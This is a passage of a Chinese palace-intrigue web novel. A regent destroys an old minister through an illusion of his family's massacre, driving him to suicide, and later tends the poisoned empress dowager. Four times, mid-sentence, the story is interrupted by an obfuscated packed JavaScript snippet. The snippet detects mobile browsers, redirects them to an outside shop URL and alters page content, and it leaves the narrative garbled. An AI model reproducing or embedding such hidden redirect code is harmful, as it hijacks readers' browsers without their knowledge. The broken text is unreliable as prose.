“摄政王……你不是这样说的,你当初答应我时不是这样说的!你说过会保我张氏其他族人性命的!” 李予微收了收手:“我也说过,你们张氏满门性命不在我,而是在中书令犯了多大的罪,身上的罪名有多少。” “是一人斩首……还是够灭几族。” 李予微转身走到张若朴面前,扬了扬手中的罪状:“可是中书令你看,你这罪名多的,怕是几族都不够灭的吧。” 一旁的张恒还在不可置信,张若朴却早已看的明白,面前这人今夜就没打算放过他们! 因此怒火更甚,他紧握双拳,青筋暴起,仿佛要凝聚了所有的愤怒与不甘,高声怒骂:“呸!祸国小人!若我族真有罪,何不让我等对簿公堂,而非遭尔等私自处置!” 李予微却只是退后一步轻轻躲开,神色不变,笑容浅淡: “罪名已定,何须再对簿公堂?” 说着,李予微就将手中罪状一一展开,细细的为其念这罪名,随着李予微一条条的宣读,张若朴脸上愤恨更甚。 无他,只因为这些罪名皆为强加之罪,毫无根据理由可言,李予微自然注意到了他这神情,声音更加和缓,一步步走向前: “看来中书令很不认同我刚才说的罪名啊,那这最后一条,中书令也不认吗?” 李予微略微弯腰,用只有两个人能听见的声音道: “以一己之私,为迎合戾帝,擅自夺取浮生楼三百二十一条性命。” “这项罪名,中书令认,还是不认。” 天不知何时被重重乌云遮蔽压顶,四周还在响着哭嚎哀求声和刀兵压制声。 可此刻张若朴却觉得所有声音都在渐渐远去,只余方才李予微的那句话在耳边不断回响,仿若一道惊雷从头顶轰然劈下。 张若朴瞳孔猛缩,面上忽然尽显惊惧与不可置信,侧头看她。 背对火把的橙黄光中的李予微,如玉般面庞上映下一片阴影,明明此刻一如既往的在笑,但在张若朴眼中,却仿佛从地狱而来的森然厉鬼。 “你……你是……” 张若朴声音颤抖的厉害,李予微笑容更加灿烂,只是眼底却是一片彻骨冷意。 一段被深藏的记忆翻涌而出,那时江湖上只知当时的浮生楼突然销声匿迹,随后不过两年,点苍门也同样突然销声匿迹,自此江湖势力由此衰落。 但当初的人所还在,便都会记得被大火吞噬的浮生楼中,还藏着浮生楼连门主在内三百多个尸体。 而在这两年之后,一家独大,如日中天的点苍门也突然以同样的方式销声匿迹。 江湖人只以为两大派相互残杀,最后两败俱伤,事实的确如此,但却很少有人知道,点苍门的背后是朝廷,是戾帝。 当时江湖势大,戾帝如此做就是为了清除江湖势力,保证朝廷地位,稳固自身地位。 在那之后点苍门也未能幸免,由此往后,朝廷一直占据独大地位,江湖势力再也无法威胁朝廷。 而出此计谋削减江湖势力的人,除了当时的戾帝,还有被当时被戾帝信重的几位朝臣。 张若朴就是其中之一。 想到这里,再看向面前的女子,她直起身子,一举一动仿若闲庭漫步,却又自带风骨气度,一瞬间竟与张若朴偶然见过一次的浮生楼主身影重叠。 她是浮生楼的后人吗? 而李予微也没再给张若朴太多思考时间,见他神情,就明白他还记得清楚,然后就摆摆手,金吾卫就将那张氏其他族人一一带出,仅余张若朴一人留在她的面前。 “看来中书令是认罪的,既然如此,那就带下去吧,依罪处置。” 突如而来的动作让张若朴回过神,猛然剧烈挣扎起来: “李予微!你要做什么!老夫是三朝老臣,功绩累累!就算是……就算是当年之事,先帝也答应过老臣,永不复言!永不复言!” “李予微!你莫不是连先帝的命令都不顾了吗!太后呢!太后知道你枉顾先帝旨意吗!我要见太后娘娘!” 金吾卫拦住了想要冲出去的张若朴,李予微居高临下道: “你见到了太后,然后说什么呢?说你害死了她父母亲族,请求她能否原谅吗?你说太后娘娘不,浮生楼的大小姐会不会原谅你呢?” 张若朴不可置信的看向她,喃喃道:“不可能,先帝娶得明明是一个平民女子,怎么会,怎么会是浮生楼大小姐。” “原来如此,原来如此。”张若朴想到了什么,喃喃自语:“难怪戾帝说是忌惮江湖势力,但相比盘踞京城的点苍门,一定要先除去远在姑苏的浮生楼。” “原来浮生楼竟与皇室结亲,难怪会率先遭到戾帝忌惮清除。” “可是我帮先帝推翻戾帝,登上帝位,我教导先帝数年,乃天子之师,先帝答应过我,不会再复言当年之事。” “你不可以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588894|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可以这般对我!” 张若朴像是抓住最后一根救命稻草一般,自说自话,李予微听着他的喃喃自语,笑容逐渐消失。 “刀不落在自己身上,是永远察觉不到疼的。” “这么多年,你凭着先帝一句话,心安理得的坐在这中书令的位置上,宝马香车,门客万千,哪里还记得浮生楼那无数冤魂哭喊哀嚎之声,惨死横尸之象。” “中书令忘了,我却日夜不敢忘却,如今,我就帮中书令好好回忆回忆。” 说着,金吾卫就提着张若朴往内堂去,没走几步,眼前的场景就近乎让他双目赤红,目眦欲裂。 只见他张氏族人皆被按压在地,金吾卫仿佛冷血的机器,毫无感情的挥舞着锋利的刀刃,鲜血如同绽放的红花,一蓬接一蓬地在这冰冷的石板地上泼洒,空气中弥漫开来的血腥味,让人窒息。 其中有人想逃跑,却都被金吾卫一剑穿透了胸膛,就连几岁的孩子也未曾幸免于难。 张若朴拼命向前却靠近不得,而那些尸体被粗鲁地拖走,如同处理一件无关紧要的物品。 “你们……你们这些刽子手!”他怒声喝道,声音响彻整个府邸,震得烛火都微微颤抖。 “当年之事是我参与设计又如何,我族人是无辜的!他们世代忠良,何曾有负于国?为何要遭此灭顶之灾!” 他的声音中充满了愤怒与不解,每一个字都像是从心底生生撕裂而出。 “他们是无辜的,那浮生楼中的三百二十一条性命又何其无辜,他们一生向善,没有做过一件错事,凭什么要因为一人忌惮而满门丧命?” “张大人今日所见,又何尝不是浮生楼当年情景?” “张大人,事到如此,你还认为你无罪吗?你的家人是无辜的吗?” 张若朴脸色惨白,心中满是绝望,却再也说不出反驳,在这一刻,他再也不是朝堂上高高在上的中书令,而只是一个被耗尽所有精神,垂垂老矣的老人,嘴里唯一能喃喃念着一句话: “先帝答应过我的,先帝答应过我的……” 李予微垂下眼眸,一步一步踩在鲜血之中:“既然是先帝答应你的,那你就去找先帝吧,看看九泉之下,先帝能不能给你这个说法。” 张若朴挣扎起身,衣冠凌乱,满身狼狈,他看着先帝曾赐予的牌匾,对天发出最后一声嘶吼: “先帝啊!” 砰! 为官二十年的中书令,终究在牌匾之上结束了自己的一生,鲜血沾染在牌匾之上,染红了牌匾上的金字。 “辅弼良臣……”李予微一一念着这四个字,讥讽出声:“呵。” “烧了吧。” 尺霜低头应下,回首看了看,在她的身后,除了牌匾上的血迹,哪里还有半分血渍,方才鲜血横飞的场景仿若错觉,一切都是干干净净。 李予微则没再看地上的人一眼,转身离开, 而她踏出内堂,方才被满门抄斩的张氏亲眷此刻都完好无损,在方才几声哭嚎后就被金吾卫塞住了嘴巴,此刻都被打晕扔在了地上。 除了一个人。 张恒。 5. 奸臣当道 李予微并没有说话,张恒也在等一个结果,一言不发,气氛就这般僵持下去,直到尺霜回来禀告: “主子,已经办好了,所有张氏族人全都用了镜水月,自此以后不会再记得任何往事。” 镜水月是一种凭内力使用的秘法,可以影响被使用人心神,让其陷入幻境之中,方才李予微对张若朴就是用的这种秘法,让他陷入满门被灭的幻境。 只不过这种秘术使用条件苛刻,也很容易被拆穿,所以方才李予微才不断动摇其心神。 而镜水月还有一个特殊的功效,就是可以消除一个人的全部记忆,让那个人的过往如梦幻泡影般破碎。 一旦实施,无解,且一个人只能使用一次,第二次就没有效果了。 而方才尺霜去,就是用镜水月去消除张氏其余亲族的记忆,这么做也就代表着,那些人可以活下来了。 这话并没有避着张恒,他自然也听得清楚,明白其意,张恒扑通一声跪下,重重的磕了下去: “张恒谢摄政王不杀之恩。” 李予微神情淡漠,不像往日那般总带着浅淡笑意。 “张恒,你是个聪明人,否则也不会主动和我做这个交易。” 由税粮案拿下张若朴是早有谋划,正如张若朴自己所言,先帝曾答应他永不复言浮生楼一事,因为他是先帝老师,是大兴肱股之臣。 凭什么? 因为他从戾帝手下弃暗投明,帮助先帝坐稳皇位吗? 可是他能够得到戾帝信任,本身就是用踩着浮生楼一案上去的,浮生楼三百二十一人尸骨未寒,凭什么先帝说不复言就不复言。 先帝在时能护着他,先帝殡天后,她就早有打算让他下台,只不过那时皇位易主,江山不稳,再加上种种事情加身,这才一再拖延,拖了那么多年。 只是没想到,拖了这么多年,张若朴那个老匹夫年老耳聋,他那个侄子张恒倒是先一步猜出了些她的谋划。 如今的李予微已经是权倾朝野,祸国殃民的摄政王,她手上的血沾的少吗,又哪有什么名声?凭何要放过张氏族人? 可张恒却拿出了她无法拒绝的筹码,李予微还是答应了,但就算如此,她也不想轻易放过对方。 所以她加了个附加条件,就是金銮殿上要他亲自指控自己的亲叔叔。 就算是死,她也要张若朴那个老匹夫死的众叛亲离。 “我没有去掉你的记忆,是因为还是要留一个聪明人的,毕竟聪明人总是比其他人更清楚自己应该做什么。” “从今往后我不希望在京城看到任何张氏族人。” “张恒,你明白的吧。” 张恒不敢看向内堂,也不敢问自己叔父该如何,他能做的只有深深一拜:“摄政王放心,从此往后三代以内,我张氏族人绝不踏入京城半步。” 李予微没再看他,提步向外走去,现场会有人处理,尺霜则紧跟李予微身后。 可刚出府门,忽然一只箭矢疾驰射来,冲着她后心而去,李予微皱眉,一个侧身躲了过去。 下一秒无数黑影如鬼魅般一拥而下,手中利刃寒光凛凛,武功不低,轻而易举越过金吾卫,直逼李予微而去。 李予微身形未动,一旁的尺霜却神情冷肃,长剑出鞘,生生将冲向前的黑影逼退数尺。 “保护摄政王!” 尺霜一边挡住黑衣人的攻击,一边高声呼喊。 那群刺客显然也是高手,一击不中,立刻身形暴退,团团围攻,招式凌厉,角度刁钻,但皆被尺霜带着金吾卫一并拦了下来。 偶尔漏掉的几根箭矢,则被李予微轻而易举的就躲了过去,李予微并没有逃跑,反而如闲庭漫步般把玩着最开始射过来的箭矢,不知道想什么。 空气间充斥着清脆的金属交击声,但在这交战中忽然响起一声蝉叫,声音细微,格格不入,却叫李予微一顿。 而下一秒,这无数黑衣人却又如潮水般褪去,不一会就没了影踪。 “别追了。” 李予微拦住了尺霜,垂眸看向手中的箭矢,沉下了脸: “备车,入皇宫。” 尺霜迟疑看向她:“现在这个时间,宫里怕是下钥了。” “那就让他们开门!” 李予微声音冷厉的厉害,尺霜当即不敢耽搁,立刻命人备车。 而李予微在说完刚才那句话,就开始咳嗽,尺霜立刻上前扶住她,犹豫道: “方才那群人,属下看着招式……像皇宫暗卫。” 李予微摆了摆手,拒绝了她的搀扶,压了压喉间的痒意,低声道: “你也看出来了,那你说,能让原本存必杀之意的皇宫暗卫,半路收手的,会是谁?” 尺霜瞪大了双眼,答案在心底浮现。 太后娘娘。 —— 夜半,未央宫 夜色已深,宫灯摇曳,周玄祁步伐沉稳却难掩心中的焦急,一进宫门又被金吾卫拦在了寝殿外面。 “太后娘娘已经安歇,陛下回去吧。” 曾经尝试多次的他,此刻也不做无妄挣扎,直接高声道: “儿臣心有疑惑,求母后相见解惑!” 回应他的是一片寂静,一旁的宫女甚至都没再去请令,继续拦在他的面前,平静道道: “太后娘娘今夜不见任何人,请陛下体谅。” 周玄祁咬咬牙,直接一掀衣摆,跪在殿外长廊之上,宫女一惊,连忙避开,周玄祁跪好后高声道: “求母后一见!” 这回宫女没再说话,时间一分一秒过去,周玄祁却仍旧纹丝不动,他的背影在昏黄的灯光下显得格外孤寂。 终于,在夜半的更声响起时,寝殿门缓缓打开,从中走出了另一位宫女,走向前冲他行了行礼: “陛下,太后娘娘请您入内。” 跪在地上的周玄祁终于有了波动,他立刻起身,整理了一下衣襟,便大步流星的走了进去。 刚踏进里屋,隔着屏风,周玄祁就迫不及待的开口: “母后为何要撤回暗卫?” 屏风的另一边的人动作未变,就连人影都未晃动几分,声音平静: “皇帝,皇家暗卫是为了暗中护佑你的安全的,不是让你清除臣子的。” 周玄祁却挺直腰板,声音丝毫不退: “可是今夜那李予微做了什么,母后当真不知?!还是说母后心里清楚,却仍旧有心包庇?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588895|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “中书令是大兴肱股之臣,更是父皇的老师!如今却因为李予微那佞臣满门被灭,无一生还,母亲也要装作眼盲心瞎,全然包庇吗!” “放肆!” 茶盏碎裂的声音在整个寝殿响起。紧接着就是太后夹杂怒火的声音: “皇帝深夜前来,不顾金吾卫阻拦,就是为了质问哀家的吗?” 空气突然变得剑拔弩张起来,仿佛就连呼吸都变得沉重,周玄祁低头看着地上碎片,自嘲道: “每次都是这般,一旦涉及摄政王,母后总会无条件袒护,这么多年来母后对她的偏疼,甚至胜过了孤这个亲生儿子。” “母后可知,今日早朝上,摄政王就是用您来威胁孤,逼孤将中书令之事交给她。” 气氛一下子变得死寂起来,只有灯芯爆裂的声音偶尔响起,垂下眸子的周玄祁不禁苦笑: “若有朝一日,孤与摄政王站在了棋盘的两段,进行你死我活的较量,非死不能解局。” “那时母后还是会站在摄政王那边,帮着她扒下孤这一身龙袍吗?” 不知过了多久,寂静在持续蔓延,而周玄祁的心也在一点点的凉了下去,紧跟着就泛起密密麻麻的苦涩。 这也算是……在预料之中了,不是吗? 突然,空气中传来一声叹息,极其轻微,若非周围静的厉害,周玄祁都要以为自己听错了。 “不会有这一天的。”太后的声音忽然透过屏风,一字一句的传到他的耳朵里: “那龙椅之上的人,只会是你,不会有任何人会威胁到属于你的位置。” 周玄祁眼中渐渐浮现一抹光亮,待他要开口时,太后带着疲惫的声音传来: “哀家累了,皇帝回去吧。” “不要动摄政王。” 还没开心多久的周玄祁身子一僵,却只见屏风后的人起了身,缓缓走到床榻上,周玄祁此刻也只好行礼退出。 刚出殿门就迎面看到急匆匆赶来的李予微,声音嘲讽: “摄政王好能耐啊,宫门都下了钥摄政王都能无旨进宫。” “这不知道的,还以为摄政王这是要造反呢。” 李予微神色冷淡,面上不带半分笑意,轻轻的瞟了他一眼。 莫名的,周玄祁就觉得身体忽然窜出一股寒意,让他接下来的话生生给憋了回去,下意识就十分心虚,想要认怂。 怎么回事?莫非她猜到暗杀的事是他做的了? 猜到又如何,她自己做了什么没点数吗!他这是一报还一报! 可心慌却总是挥之不去,不停的萦绕心间,让他下意识没僵在原地,没再说话。 而李予微也不像以往,和他总是唇枪舌剑,寸步不让,甚至除了刚开始一眼,连看都没再看他,就直接错过他往里走去。 她这回真的生气了。 看着她的背影,下意识,周玄祁脑海里浮现这句话。 下一秒他就在心中暗骂自己。 周玄祁,你连暗杀她的事都做了,还怕她生气? 这样下去你怎么可能斗得过她! 清醒点周玄祁!别怂! 你是最棒的皇帝! 终有一天你会铲了那奸臣! 6. 奸臣当道 未央宫 “是阿窈吗?” 李予微刚踏进屋门就见到满地的狼藉,紧接着就听到一个极为轻柔的声音,她脚步一停,心神微震,沉默了一下还是开口,声音沙哑道: “是我,阿姐。” 李予微在看到离素拼命使得眼色已晚,话已出口,下一秒一个茶盏就已经砸了过来,伴随着极为尖锐的叫声: “我说过了,不要学我妹妹说话!” 茶盏砸在额角,留下艳红的鲜血,淌在苍白的脸上,与地上破碎的瓷器仿佛融为一体。 “你算什么东西,也配扮作她!” 声音尖锐凄厉,而在李予微进门时就守在门口的尺霜听到声音立刻冲了进来。 看到主子受伤当即就想守在主子身前,却定在了李予微回头的眼神中。 尺霜只能在这目光中再一次退出门外,关好了门守在门口。 李予微沉默的扯出丝帕,将自己脸上的血擦的干干净净,这才继续向前走去。 而那张沾血的素帕则被随意扔在了碎瓷之上,仿佛是什么肮脏之物一般。 而卧榻上的女子还在怔怔的看向声音这边,明明凤钗霞衣,却衣衫凌乱,发丝飞舞。 神情怔然,一双眸子空洞的厉害,却仍旧倔犟的瞪向声音的地方,轻声道: “你是不是也觉得我疯了,分不清人了。” “我告诉你,我没疯!” “哀家没疯!” 声音猛的拔高,还带着几分癫狂,贺英姝双手四处摸索,似乎还想拿起什么来发泄。 可身边的东西早就被砸的稀烂,唯一一个让她喝水休息的茶盏,也早被砸了出去,宫人哪敢再给她东西,甚至想要制住她。 可这样却让她更加大动作的摸索,神情中也带着缺乏安全感的无助,一旦有人靠近就疯狂推打,甚至还用上了内力。 离素现在一旁捏着银针被她疯狂的动作弄得无法靠近,不敢贸然施针怕伤到她。 最后是擦干净血迹的李予微上前,准确无误的捉住了她的手,用不重却不容反抗的力度将人锢在怀里,这才迫使让她停下了动作。 李予微一边不让她伤到自己,一边低声安抚: “臣知道,娘娘没疯,娘娘聪慧机敏,一下子臣的伪装。” 若是周玄祁在这里,定然心情复杂,早知道这人面见天子都未曾低下头半分。 以下犯上让金吾卫围了未央宫,却又在这人面前轻而易举的俯首称臣。 但要是周玄祁真的在这,他惊讶的就会是自己母后的这般样子,与方才冷静持重的模样大相庭径。 离素也趁此机会一连下了好几根银针,怀中挣扎反抗的人这才慢慢的小了动作,那双空洞的眼睛却渐渐迷蒙,到最后甚至主动依偎其中,像是找到了什么依靠。 她找了个舒服的位置,像小猫一样蜷缩在李予微的怀里,眉心紧皱,好看的眼眸依旧空洞,却泛起了一层薄薄的水雾,软声撒娇,却又带着藏不住的委屈。 “阿娘,我头疼。” “你揉一揉,揉一揉就不疼了。” 李予微听到这话顿了顿,还是伸出手,十分熟练的按了起来,力道不轻不重,随着她的手法,缓缓的内力也传入其中,按了一会那紧皱的眉头才渐渐舒缓。 再配合着离素的银针,折腾了好一会,贺英姝这才慢慢的合上了眼睛。 待女子彻底睡下,一旁的宫人十分有眼色的放了一个新的软枕,李予微轻柔的将人展平安放在床榻上,彻底安置好才慢慢起身。 许是一个姿势太久,李予微起身时眼前发黑,身子猛然无力,浑身犹如坠入冰窟,身形控制不住的往前栽去。 好在下一秒李予微就感觉手腕被人擒住拽了过去,这才真的摔在地上。 李予微借着这股力道站稳了身子,这才看向拽她的人。 只见离素捏着她的手腕,脸色比刚才给贺英姝施针时还要难看几分。 李予微下意识将手抽了出来,见离素想要说什么,当即拦下,生怕吵醒床上的人。 待她们到了偏殿,李予微这才松一口气。 可离素脸却黑的厉害,直接伸手就去擒她的手腕,有过经验的李予微下意识就往后躲,却还是没躲过用上内力的离素。 感受到了李予微体内翻涌的内力后,离素还是没忍住出声嘲讽道: “摄政王好大的架子啊,我千叮咛万嘱咐不能再动用尽春华了,您倒好,不仅用了尽春华,还当着我的面用。” “你怎么没怼我眼睛里用呢,怎么,方才周玄祁那小子没气死阿姝,你这边打算气死我呗。” 阿姝,也就是太后贺英姝。 李予微沉默了片刻道:“周玄祁那小子做了什么?” “不知道,我赶到的时候人已经走了,谁知道那小混蛋说了什么,直接给他娘气发病了。” 离素不耐烦摆摆手:“阿姝也是,大半夜的说不见了,结果那小混蛋跪下求两句就又心软见了。” “还有你那金吾卫也不顶用,人高马大的那么一群人,连个小混蛋都挡不住。” 在离素平等的将每个人都怼了一遍后,又将话头扯了回来。 “别转移话题,在我眼皮子底下用尽春华,你怎么想的,李予微,你到底是信不过我的医术,还是信不过我?” 离素气急直接喊了全名,李予微慢吞吞的试图收回手腕,抿了抿唇道: “我自然是信得过素素姐的,只是阿姐太疼了,我不想让她疼……” 声音越来越小,离素看着在外面权倾朝野的一朝丞相此刻却像犯了错的孩子一般,等待着大人的训斥。 心里的火气瞬间就被扑了冷水一般扑灭了,要是以前她此刻一定是哭笑不得,可现在她却是半点都笑不出来。 面前的人的面容与记忆中那个略带稚嫩的面容重合,她好像又回到九年前的那个夜晚。 那时的李予微也是这样满脸苍白的在她面前,唯一说出口的只有那句: “我不想让阿姐疼……” 九年前的无力感再次蔓延到她的全身。 早知道如今,当初那半本回春诀就不应该交给她。 可是当时的自己真的猜不到未来可能会出现这个结果吗? 如果能够重来一次,她真的不会将那半本回春诀交给她吗? 还是会的。 那时阿姝被下了归心散,归心散是一种影响心智的毒药,中毒者则会被放大情绪,深陷幻境,然后心智迷失,乖乖听命于人。 可这种药对武功越高,心智越坚定的人就越难控制。 所以下毒者为了加强药性,不仅废了阿姝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588896|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的武功,还不知道给阿姝喂了多少归心散。 但就算这样,仍旧没有将人控制住。 虽然如此,但这种药仍旧对阿姝心智起了极大摧残。 归心散无药可解,哪怕是身为神医谷唯一传人的她,也没办法将药性拔除。 更何况等她得到消息千里迢迢赶到时,药性早就深入体内,阿姝整个人已经神智濒临崩溃,状若疯癫。 根本等不及她慢慢拔除药性,时间越久,就算解了归心散,阿姝整个人也彻底疯了。 那时她医术自认世间少有能及,却仍旧感到无能为力。 就在她翻遍医术时,远在药王谷的师傅也终于回了她的求助信。 随信附带的,还有半部回春诀。 回春诀分上下两部,是浮生楼第一任楼主所创。 上半部名为占春芳,取意为‘占得春芳花满园’。 下半部名为尽春华,取意为‘散尽春华浮生结’。 但第一任楼主在练到下半部心决时,却出现了许多副作用,差点走火入魔。 浮生楼主终其一生都在完善心决,却临终前仍未解决副作用,后来自觉不得危害他人,便仅将上半部占春芳传于后人。 后人将其发扬光大,并称其为天下第一剑诀。 一时之间江湖无两,世无其二,更成就了浮生楼天下第一楼的名声。 而下半部尽春华因其不完善与副作用,不仅无人修炼,更是少有人知,历来只有浮生楼楼主知晓。 最后被第一任浮生楼主临终前交予至交好友手中,也就是当时的药王谷谷主手中,供其研究。 自此也成为了药王谷不传之秘。 药王谷主送来的半本回春诀,正是这尽春华,尽春华特殊就特殊在它是心法,却更像医法,它有持剑之利却无杀人之气。 最重要的是浮生楼主发现,尽春华竟有缓天下之病症之能。 怕是连第一任浮生楼主都没想到,此法诞生,于内功修为之处多有弊端,却有此等神奇效用。 但就算练成尽春华,也不能彻底解除归心散,只能缓解药性,减缓病痛,修身蕴体。 但那是缓解归心散的唯一办法了。 尽春华修练虽不困难,但只有修的占春芳的人能修习。 好巧不巧的是,贺英姝正是浮光楼这一代传人,修得心法正是回春诀上半部占春芳。 因离素并未在信中提明贺英姝已经武功尽失,所以神医谷主便将尽春华一起送来,想让其修练来缓解病痛。 而这本尽春华到了离素手里,就成了另一个难题。 可以说尽春华是目前唯一能解救阿姝的办法。 但贺英姝武功尽失,世上唯一还修占春芳的,只有她的妹妹——贺景窈了。 可尽春华因是第一任浮生楼主临死前送来,到底其中有何副作用信中并未讲清楚就已然与世长辞。 所以哪怕是药王谷也不知道修炼完整回春诀到底是何副作用,会不会和第一任浮生楼主一样走火入魔而亡。 谁也不知道。 这是一个你死或我亡的选择,而在得知这一切前因后果的贺景窈似乎从不觉得这是一个选择。 躺在病床上的可是她唯一的姐姐,是她在这世上为数不多的亲人。 既然如此,又有什么好犹豫的呢。 7. 奸臣当道 彼时的离素还能安慰自己,这是贺景窈自己的选择。 而且谁说修炼了尽春华的人一定会死,更何况还有她这个药王谷唯一传人在,哪里就会那么倒霉,成了最坏的结果。 要知道当年的贺景窈修炼尽春华前身体并没有比阿姝好到那里,只不过那些相比归心散,当时的她都有信心治好。 而且她以为修炼的尽春华本身不就是能缓解天下所有病症的吗? 那缓解自己不是立时立效,手拿把掐? 她甚至下意识的忽略了,自己明明还在对阿姝的归心散手足无措。 就敢对彼时还只有十几岁的贺景窈信誓旦旦的保证自己医术天下第一,绝不会让她出事。 可当贺景窈身上的副作用逐一显现时,离素再也无法骗自己。 尤其是离素发现当初李予微身上受得伤痛病症,在经过她这么久的医治仍旧难以痊愈,总是反反复复。 偏偏她能忍,在离素发现这一点时,李予微已然病的有些神志不清了。 离素有预感李予微知道些什么,在用尽药材勉强将人治醒时,离素还是没忍住将人逼问。 这才得知原来尽春华副作用之一是会加重身上所罹患疾病,这才使其反反复复,难以自愈。 而当事人不仅将这件事瞒了下来,还在贺英姝发病时,背着她偷偷使用尽春华为其缓解,使自己身体进一步败坏。 可想而知当她知道这件事有多生气,可李予微却是满脸无措的一直道歉:“对不起。” 像是见她气的狠了,才解释似的补了一句: “我不想让阿姐疼……” 那一次她没有生气,没有责问,甚至面上可能都没有任何表情。 可只有她自己知晓,她浑身上下都被一种无力感紧紧包裹。 而她并不知道,在李予微眼里,她在得知这一切时脸色惨白,只有眼眶红了一圈。 哪怕在面对濒临崩溃的挚友时,都能强逼着自己,红着眼睛冷静下来。 却在面对如此苍白又小心翼翼的李予微时,终于没能控制住,如闸堤泄洪般落下泪来。 她终于不得不承认。 其实她医术根本不是天下第一。 之后离素逼着她不许隐瞒身体任何情况,这才逼问出尽春华的全部副作用。 而她怎么也没想到,尽春华能缓解天下所有病症,却唯独对使用者自身无用,甚至还会加重自身病症。 只能付出自耗,无法自愈。 就像一颗没有自保能力的灵芝仙药,药性能救天下病症,自身却无法抵御外界风霜刀剑,只能被人采摘利用。 而每使用一次尽春华,消耗的不仅仅是内力,还有气血,寿命,直到一切耗尽,使用者油尽灯枯而死。 这才是浮生楼第一任楼主死亡前封锁下半部回春诀的原因。 尽春华,散尽春华浮生结,原来是这个意思。 回春诀救得了天下人,唯独救不了自己。 离素心里突然想到,其实她当时一直知晓的,知晓她们姐妹有多情深。 阿姝能为了这个妹妹不顾一切,阿窈也会为了这个姐姐舍生忘死。 其实从当时决定交出回春诀的那一刻,她心里其实就已经有抉择了。 人心有偏颇,纵使面前的人也是她看着长大的妹妹,她还是更希望自己的挚友能够活着。 从一开始做出选择的不是曾经的贺景窈,现在的李予微。 而是离素,是她自己。 明明医者要与天争命,她却此时此刻才明白世间事注定难两全。 离素心中无力,却明白自己最不能消沉下去。 屋里屋外的两个人都在等着她来医治。 想到这里,离素便不敢耽误,当即死死拽住她手腕拉她到另一间屋子里,给刚用过尽春华的人医治。 这一次与方才为贺英姝施针不同,她拿出了三根比刚才长一倍的金针。 见到这金针,李予微就立刻就明白。乖乖配合褪去衣裳。 可离素还是看到了她睫羽的颤抖,她放轻了声音,就好像刚才李予微哄贺英姝那般轻声道: “很快就好了,把眼睛闭上,不要看了。” 李予微自然知道这是哄她,但她还是把眼睛闭上。 金针极细,却极为骇人,与刚才扎针的快准狠不同,这一次她下针极为缓慢,运用内力一点一点的将三根长针扎入李予微胸前三大要穴。 当最后一根针下完,离素感觉浑身有些脱力,而李予微整个人更是要被汗水浸透。 尽春华医治世人却损耗自身,所以为了减缓回春诀对身体的影响,离素发明了这金针通脉之术。 研究到如今,其效果和回春诀本身效果差不多了,就是疼。 深入骨髓的疼。 但再疼,只要能活下去,也是好的。 只要能活着就好。 待金针一根根被拔出,李予微却瞬间软倒,好在及时咬住舌尖才换得一丝清明。 离素扶住她的身子,手上却把着她的脉,感受着手下脉搏强了一些,这才微微松口气,但仍旧神情严肃道: “你决不能再用尽春华了,你阿姐体内的归心散这些年我拔出的差不多了,过段时间连每月初一十五都不会发作了。” “归心散引起的头风是严重,但那是心病居多,还用不到尽春华。” “否则等你阿姐好了,你就病倒了,如果你要想彻底好了最好将尽春华废了,这样才一劳永逸,你也不用再受这金针之苦。” 李予微拢好衣服,脸色苍白。 “尽春华如今已经和占春芳相互关联,废了尽春华就等于废了我的全部内力,那就再也用不了武功了。” 说着李予微顿了顿,轻声笑道: “素素姐放心,待阿姐好了我以后自然不会再用这尽春华,我还年轻,尽春华耗不死我,我也想活的长长久久。” 离素却不信李予微真这么乖巧,但也知道李予微不会听她的,只能嘱咐道: “你也知道尽春华和占春芳息息相关,牵一发而动全身,所以若非生死关头,最好别动内力。” “现在你可比阿姝和你不让人放心。” 听到这话李予微微微垂了垂首,低声道: “对不起……” 离素一下哑了声音,她只是随口一说,见她这般却如何解释。 明明现在对她而言面前的人已经不止是好友的妹妹了,更像自己亲妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588897|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹,却仍旧会感到手足无措。 也许是因为她说了太多的对不起吧,明明最没有错的是她自己。 